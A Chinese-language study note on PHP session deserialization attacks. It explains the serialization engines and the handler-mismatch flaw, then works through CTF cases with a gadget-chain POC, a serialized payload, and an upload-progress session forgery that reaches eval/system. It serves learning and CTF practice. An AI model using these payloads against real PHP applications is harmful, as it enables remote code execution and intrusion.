反序列化session利用总结
漏洞原理
参考;https://www.jb51.net/article/116246.htm
https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#PHP%E7%9A%84session%E6%9C%BA%E5%88%B6
session的基本用法
当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie), 如果请求中不包含会话 ID 信息,PHP 就会创建一个新的会话。 会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中。 当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。
在学习 session 反序列化之前,需要了解这几个参数的含义。
Directive | 含义 |
---|---|
session.save_handler | session保存形式。默认为files |
session.save_path | session保存路径。 |
session.serialize_handler | session序列化存储所用处理器。默认为php。 |
session.upload_progress.cleanup | 一旦读取了所有POST数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled | 将上传文件的进度信息存在session中。默认开启。 |
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法
三种session引擎(进行反序列化)
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
//举例说明
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);
php_serialize 引擎下,session文件中存储的数据为:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下,session文件中存储的数据为:
name|s:6:"spoock";
php_binary 引擎下,session文件中存储的数据为:
names:6:"spoock";
如果文件如下
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
?>
在另一个页面有如下代码
<?php
class A {
public $a = 'aa';
function __wakeup() {
echo $this->a;
}
var_dump($_SESSION);
?>
此时是利用php引擎(默认的引擎)去读取该反序列话引擎存储的数据时,就会发生
session["a:1:{s:4:"ryat";s:30:""]=>
object(A)#1 (1) {
["a"]=>
string(2) "xx"
}
//可以发现|之前的都被当成了键名,之后的作为对象被反序列化
实例一:ctfshow 263
直接查看ctfshow 反序列化专题
实例二:GCTF上的一道session反序列化漏洞分析:
//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//……
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
POC
$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;
分析:
构造一个TOPC,在析构的时候则会调用echo $this->attr;
将attr赋值为TOPB对象,在echo TOPB的时候会自动调用__tostring魔术方法
在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket,
所以显然是TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,
所以在序列化的时候进行指针引用使$a->ticket = &$a->token;,即可绕过判断。
(string)$this->obj会输出flag
payload
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
3.伪造session
原理:
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。
例题:
可以看到题目环境中的 session.serialize_handler 默认为 php_serialize 处理器,而程序使用的却是 php 处理器,而且开头 第4行 使用了 session_start() 函数,那么我们就可以利用 session.upload_progress.enabled 来伪造 session ,然后在 PHP 反序列化 session 文件时,还原 OowoO 类,最终执行 eval 函数。
构造payload
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO{
public $mdzz;
function __construct(){
$this->mdzz = 'echo system("pwd");';
}
function __destruct(){
eval($this->mdzz);
}
}
$_SESSION['payload'] = new OowoO();
// 生成session文件内容为:
// payload|O:5:"OowoO":1:{s:4:"mdzz";s:19:"echo system("pwd");";}
?>
抓包
把POST的name值改为同名值
那么怎么session的键名有了(与POST的变量),键值从哪里读取呢
可见只要把filename改成我们的payload即可
还有一些值得看的文章没看完
https://www.freebuf.com/vuls/202819.html
https://blog.csdn.net/Zero_Adam/article/details/116310107